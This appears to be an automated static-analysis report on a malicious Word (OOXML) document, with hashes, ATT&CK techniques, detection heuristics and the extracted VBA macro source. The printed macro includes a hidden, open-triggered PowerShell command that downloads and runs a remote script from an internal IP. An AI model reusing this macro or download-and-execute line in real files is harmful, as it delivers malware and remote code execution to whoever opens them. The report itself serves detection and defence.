Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dcb450de772a53cc…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2021-09-22 09:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-01
MD5: 0468a0da05d4a297cdaaaaefda95a2c4 SHA-1: f770a125374a3ede02bc6553806fa776d0e405f9 SHA-256: dcb450de772a53cc58dbaab92fc03a7dbc057d2b45bf044503b8b629e07efb4a
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer T1204.002 Malicious File

The OOXML document contains a VBA macro that executes a PowerShell command. This command downloads a file from the IP address 10.0.10.101 and executes it. The macro uses obfuscation techniques and the Shell() function to achieve this, indicating a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.0.10.101/shell.txt Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 970 bytes
SHA-256: b08d8b9b4f84017f6d845cb905a55b2201228ac3edfd28bbe6dc7273a6c0a704
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function en(text)
    Dim n
    Dim i
    
    n = 13
    For i = 1 To Len(text)
        AB = Mid(text, i, 2)
        CD = Asc(AB) + n
        EF = Chr(CD)
        Mid(text, i, 2) = EF
    Next i
    en = text
End Function
Public Function de(text As String)
    Dim n
    Dim i
    n = 15
    For i = 1 To Len(text)
        AB = Mid(text, i, 2)
        CD = Asc(AB) - n
        EF = Chr(CD)
        Mid(text, i, 2) = EF
    Next i
    de = text
End Function

Sub DocumentOpen()
 Dim str
 str = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://10.0.10.101/shell.txt'))"
 Shell myString, vbHide
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: cd021db9c25e20e12affa3e5ac742ddd578d6eeb3a1c20fc2ea5c94a6fc323e3

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